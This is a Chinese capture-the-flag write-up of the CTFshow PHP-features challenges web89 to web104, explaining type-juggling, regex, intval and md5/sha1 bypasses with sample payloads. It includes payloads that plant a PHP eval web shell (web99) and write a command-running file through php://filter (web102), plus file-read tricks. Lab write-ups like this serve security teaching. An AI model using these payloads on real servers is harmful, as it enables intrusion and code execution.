CTFSHOW php 特性

news2024/9/20 16:32:40

web89 数组绕过正则


include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
get num
    if(preg_match("/[0-9]/", $num)){
是数字 就输出 no
        die("no no no!");
    }
    if(intval($num)){
如果是存在整数 输出 flag
        echo $flag;
    }
}

这个使用数组就可以绕过正则

这里学一下

PHP preg_match() 函数 | 菜鸟教程

?num[0]=1

 web90  ===的绕过


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

首先 我们输入一个 4476a 就可以绕过 第一个nonono

<?php
$num='4476a';
echo intval($num,0);

?>

这样 就绕过了 第二个 ===

也可以使用浮点型

<?php
$num=4476.1;
echo intval($num,0);

?>

也可以使用进制

intval($num,0)

设置第二个参数为0  如果识别到 0x 那么就自动 转为 16进制取整

<?php
$num=0x117c;
echo intval($num,0);

?>

web91   了解正则

include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
} 

 第一个if

/^phpA$/  以php为开头的字符串 并且以php结尾的字符串 就是php

/im 多行匹配和匹配大小写

第二个 就是 取消了多行匹配的机制 并且让我们

意思就是单行无法匹配到php开头的字符串

这个时候可以使用url编码的换行符 %0a

?cmd=%0aphp

web92 == 绕过

用之前的方法也可以

进制

 浮点型

 但是我们不能使用 4476a来绕过== 因为他不管比较的双方的类型

只要值相同就相同

我们输入 4476a  他读取到4476  就会和 另一方进行比较

这样 就绕不过去

科学计数法

但是我们可以使用字母e 因为在 计算机中 e有科学计数法的用法

当我们输入 4476e1 == 就会直接识别为 4476e1

绕过第一个 ==

web93 过滤字母

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    } 

能发现不能使用科学计数法了

浮点型

4476.1

 进制

我们使用八进制 因为八进制 只要识别到0开头就默认为八进制

 

 web94 strpos(字符串,字符)

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
匹配 所有字母 并且不区分大小写
        die("no no no!");
    }
    if(!strpos($num, "0")){
当 0 出现在开头 就报错
这里可能是想过滤 八进制
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    } 

题目想过滤八进制 但是 其实还是可以使用八进制

八进制

?num=  010574

前面添加一个空格即可

 浮点型

?num=4476.01

这题主要是注意函数

strpos(字符串,字符)  查找字符在字符串第一次出现的位置

所以这个函数就是找到0出现的位置 并且不能让0 在开头

但是我们可以空格绕过

web95 /[a-z]|\./i  正则过滤


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
这里又重新过滤了 .  说明浮点型也不行了
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

那就只能使用

八进制

?num=  010574
?num=+010574

web96  路径读取、伪协议



highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
高亮 flag
这里可以判断 
    }


}

hightlight_file(高亮文件的绝对路径,返回值) 其中返回值可选

这里很明显要我们输入flag的路径

那我们测一下

./flag.php   ./表示在当前目录下
../html/flag.php      ../ 表示父级目录 然后访问html中的flag
php://filter/read/resource=flag.php 伪协议

 web97 数组绕过md5比较


include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?> 


通过数组可以绕过MD5的比较

 web98    三目运算符

https://www.cnblogs.com/echoDetected/p/13999517.html

https://www.cnblogs.com/NPFS/p/13798533.html

说是三目运算符

$_GET?$_GET=&$_POST:'flag'; 

如果get请求存在 那么就通过 post来覆盖掉get请求
这里意思 就是 如果$_GET为真 那么就执行$_GET=&$_POST  否则执行'flag'

$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; 

这两个就是 比对get 是否为 flag

如果get接受的参数值为 flag 那就设置&$_COOKIE和&$_SERVER为flag

highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); 

如果get的参数为 http_flag 并且内容为 flag

那么就输出  http_flag的地址

所以这里我们 get的值不能为flag 不然就会设置get为空

然后我们设置post为 HTTP_FLAG=flag

web99  file_put_contents写入

highlight_file(__FILE__);
$allow = array();
设为数组
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
向尾部插入 rand(1,$i) 循环 54次
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
将post的content 写入 get的文件中
如果get不存在 那么就创建文件
}

?> 

这里发现可以写东西到服务器中

那我们就想到一句话木马

这里主要是 in_array 存在漏洞

如果 in_array 的第三个参数不设置为 true 就不会比较类型
我们输入 1.php  他会自动识别和 allow一样的类型

为 1 

这里我们看看

get: ?n=1.php
post: content=<?php @eval($_POST['a']);?>

 web100 优先级

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
提示我们 在 ctfshow类中
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
3个参数
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
第四个参数是 前三个相与

if($v0){
    if(!preg_match("/\;/", $v2)){
就是不能在v2中招到 分号;
        if(preg_match("/\;/", $v3)){
要在 v3中找到  分号;
            eval("$v2('ctfshow')$v3");
执行 v2 ('ctfshow')v3
这里 就发现v2 是命令 v3多半就分号 ;
        }
    }
    
}

第一个if判断

<?php
$v1=1;
数字
$v2="sb";
字符串
$v3=";";
字符
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); 
echo $v0;
?>


 

这里的原理是 = 大于 and 和 or

这样 v0=1 and 0 and 0 还是1

 这样就绕过了第一个if

我们知道了 两个的类型

v2 命令

v3分号

这样我们就看看

如何输出

var_dump() 可以用于识别类型 并且输出 表达式的类型和值

PHP var_dump() 函数 | 菜鸟教程

我们让v2=var_dump($ctfshow)

v3=;

这样就构造了

var_dump($ctfshow)('ctfshow');

 

 成功返回值了

我们继续尝试

?v1=1&v2=var_dump($ctfshow)&v3=;

 还有一个方式

就是

通过注释来绕过

 

payload1: ?v1=1&v2=var_dump($ctfshow)&v3=;
payload2: ?v1=1&v2=var_dump($ctfshow)/*&v3=*/;

 web101  反射API

这个 是关于面向对象

存在一个 反射api

ReflectionClass 用于输出 类的详细信息

创建方式为 new ReflectionClass

可以使用echo ReflectionClass("ClassName" ) 输出类的信息

这里就可以使用这个来

?v1=1&v2=echo new ReflectionClass&v3=;

最后需要爆破最后一位

最后一位是 6

 web102 PHP短开表达式 回调函数call_user_func



highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
从v2 的第二位开始读取
    $str = call_user_func($v1,$s);
然后使用回调函数
这里 $s会作为参数 被 $v1调用
这就是另一个调用函数的方式罢了
    echo $str;
    file_put_contents($v3,$str);
写入v3中
}
else{
    die('hacker');
}

这里我们首先要用v2来绕过 第一个if

这里介绍两个函数

bin2hex
和
hex2bin

这两个是 字符串 和 十六进制字符串 互相变换的函数

 我们思考 第一个if 需要是数字 然后绕过

那我们是不是可以生成一个 十六进制字符串 然后绕过

这里的读取命令是特殊构造的 需要绕过is_numeric()

可以通过科学计数法绕过

这里提及PHP短开表达式

<?=`cat *`;




<?=(表达式)?>
相当于
<?php echo (表达式);?>

然后我们通过伪协议 通过解密base64写入文件

以为这个特殊构造的命令是 要先base64加密 然后通过 bin2hex 转换字符串

就可以形成特殊的 科学计数法形式

 

 这里最后的= 可以删除 不删除就无法绕过

50 44 38 39 59 47 4e 68 64 43 41 71 59 44 73

然后可以开始写入

payload

get :   v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=34.php
       

post:   v1=hex2bin

 这样就绕过了

web103

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

加了个过滤条件

但是还是可以通过 102的方式直接做

 web104 shal弱比较的绕过

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
} 

这里主要是 shal 的比较

其实shal和MD5一样 可以通过数组绕过

web105

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/824976.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

算法通关村第四关——如何基于数组(链表)实现栈

栈的基础知识 栈的特征 特征1 栈和队列是比较特殊的线性表&#xff0c;又被称为 访问受限的线性表。栈是很多表达式、符号等运算的基础&#xff0c;也是递归的底层实现&#xff08;递归就是方法自己调用自己&#xff0c;在JVM的虚拟机栈中&#xff0c;一个线程中的栈帧就是…

使用分布式数据库,还需要考虑做分库分表吗?

随着数据存储需求的不断增加&#xff0c;分布式数据库成为了处理大规模数据的一种重要方式。分布式数据库可以将数据分散到多个计算节点上&#xff0c;并利用分布式计算的能力来提高数据处理的效率和可用性。然而&#xff0c;在使用分布式数据库的过程中&#xff0c;是否需要进…

网络安全工具包NST发布38-13644版本

导读开源网络安全工具包NST近日发布了最新版本38-13644。该版本基于Fedora 38构建,使用Linux 6.3.12内核,主要针对软件的维护与功能增强进行了更新。 根据发布公告,新版本通过Docker容器方式重构了OpenVAS和Greenbone漏洞扫描组件,实现了完整的漏洞评估能力。另外,还增强了地理…

微信公众号程序PHP源码 收银台源码 商家PHP源码 微信支付扫码付款 商家收银台

商家收银台-微信支付扫码付款-微信支付收银台-PHP源码 微信公众号程序&#xff0c;必须微信认证服务号&#xff0c;微信支付商家 客户扫码&#xff0c;打开商家定义支付页面&#xff0c;输入金额和对应定义信息&#xff0c;提交微信支付&#xff0c;实现快速付款 支持创建多…

信息系统网络安全整改方案

第1章 项目概述 1.1 项目目标 本方案将通过对公司网络信息系统的安全现状进行分析工作&#xff0c;参照国家信息系统等级保护要求&#xff0c;找出信息系统与安全等级保护要求之间的差距&#xff0c;给出相应的整改意见&#xff0c;推动 XX 企业公司网络信息系统安全整改工作的…

将jar包打入本地maven仓库

1、准备好要入仓的jar包 2、在jar包所在文件夹打开cmd 3、输入如下命令进行打包 mvn install:install-file -DgroupIdcom.netty.common -DartifactIdnetty-common -Dversion1.0-SNAPSHOT -Dpackagingjar -Dfilenetty-common-1.0-SNAPSHOT.jar如下图所示&#xff1a;

TCP连接的状态详解以及故障排查(三)

TCP连接建立三次握手 TCP是一个面向连接的协议&#xff0c;所以在连接双方发送数据之前&#xff0c;都需要首先建立一条连接。 Client连接Server&#xff1a; 当Client端调用socket函数调用时&#xff0c;相当于Client端产生了一个处于Closed状态的套接字。 (1)第一次握手&a…

10.事件流

10.1事件流和两个阶段说明 ●事件流指的是事件完整执行过程中的流动路径 简单来说&#xff1a;捕获阶段是从父到子 冒泡阶段是从子到父 10.2事件捕获 事件捕获概念&#xff1a; 从DOM的根元素开始去执行对应的事件(从外到里) ●事件捕获需要写对应代码才能看到效果 ●代码:…

Java从入门到精通(三)· 基础逻辑

Java从入门到精通&#xff08;三&#xff09; 基础逻辑 一 分支结构 1.if分支 if分支是根据条件的真假来决定执行某段代码。 If 分支的小技巧和常见问题&#xff1a; 2.switch分支 通过比较变量的值来确定执行哪条分支。 switch的使用注意事项&#xff1a; 当存在多个case分…

基于Java的闲置物品管理系统(源码+文档+数据库)

很多在校学生经常因为冲动或者因为图一时的新鲜,购买了很多可能只是偶尔用一下的物品&#xff0c;大量物品将会闲置&#xff0c;因此&#xff0c;构建一个资源共享平台&#xff0c;将会极大满足师院学生的需求,可以将其闲置物品挂在资源共享平台上让有需要的学生浏览&#xff0…

玩转graphQL

转载至酒仙桥的玩转graphQL - SecPulse.COM | 安全脉搏 前言 在测试中我发现了很多网站开始使用GraphQL技术&#xff0c;并且在测试中发现了其使用过程中存在的问题&#xff0c;那么&#xff0c;到底GraphQL是什么呢&#xff1f;了解了GraphQL后能帮助我们在渗透测试中发现哪些…

Go语言Gin框架的基本用法

目录 【基本的HTTP请求】 GET请求 POST请求 文件操作 重定向 HTTP获取三方服务数据 不同格式的内容输出 异步请求 【中间件】 中间件校验数据 登录中间件 【启动多个服务】 Gin框架官网&#xff1a;https://gin-gonic.com/zh-cn/&#xff0c;新增一个Go文件&…

为机器人装“大脑” 谷歌发布RT-2大模型

大语言模型不仅能让应用变得更智能&#xff0c;还将让机器人学会举一反三。在谷歌发布RT-1大模型仅半年后&#xff0c;专用于机器人的RT-2大模型于近期面世&#xff0c;它能让机器人学习互联网上的文本和图像&#xff0c;并具备逻辑推理能力。 该模型为机器人智能带来显著升级…

光线追踪会影响3D渲染速度吗?

什么是光线追踪&#xff1f; 光线追踪 是模拟光源在现实生活中如何反应的方法。它追踪光线到达物体的路径&#xff0c;真实地模拟光线如何反射回来&#xff0c;以创建准确的反射、折射、阴影和间接照明。 我们在光线追踪中经常遇到的术语之一是路径追踪。它们是一样的吗&#x…

有什么进行仓库出入库管理的软件?

公司的仓库管理一直都是难题&#xff0c;不论是仓库进货发货&#xff0c;还是仓库储存&#xff0c;每一步都至关重要。其实对于仓库管理系统来说&#xff0c;主要包括以下三个需求&#xff1a; 1.录入商品信息2.记录进出货过程3.查询分析仓库数据 那么有哪些进行仓库出入库管…

【Spring Boot】请求参数传json对象,后端采用(pojo)CRUD案例(102)

请求参数传json对象&#xff0c;后端采用&#xff08;pojo&#xff09;接受的前提条件&#xff1a; 1.Spring Boot 的启动类加注解&#xff1a;EnableWebMvc 2.Spring Boot 的控制层接受参数采用&#xff1a;RequestBody Spring Boot 启动类&#xff1a;加注解&#xff1a;En…

03 制作Ubuntu启动盘

1 软碟通 我是用软碟通制作启动盘。安装软碟通时一定要把虚拟光驱给勾选上&#xff0c;其余两个可以看你心情。 2 镜像文件 我使用清华镜像网站找到的Ubuntu镜像文件。 Index of /ubuntu-releases/ | 清华大学开源软件镜像站 | Tsinghua Open Source Mirror 请自己选择镜像…

关于视频汇聚融合EasyCVR平台多视频播放协议的概述

视频监控综合管理平台EasyCVR具备视频融合能力&#xff0c;平台基于云边端一体化架构&#xff0c;具有强大的数据接入、处理及分发能力&#xff0c;平台既具备传统安防视频监控的能力与服务&#xff0c;也支持AI智能检测技术的接入&#xff0c;可应用在多行业领域的智能化监管场…

【实操教程】如何开始用Qt Widgets编程?(一)

Qt 是目前最先进、最完整的跨平台C开发工具。它不仅完全实现了一次编写&#xff0c;所有平台无差别运行&#xff0c;更提供了几乎所有开发过程中需要用到的工具。如今&#xff0c;Qt已被运用于超过70个行业、数千家企业&#xff0c;支持数百万设备及应用。 在本文中&#xff0…

矩阵按键行列扫描法与反转扫描法:原理、代码实现

矩阵按键&#xff1a;行列扫描法与反转扫描法 通常情况下&#xff0c;按键按下时会产生低电平信号&#xff0c;按键一般用低电平表示按下状态。 当按键没有被按下时&#xff0c;通常处于高电平状态&#xff0c;这是因为按键连接到电路时&#xff0c;内部的上拉电阻或外部的上拉…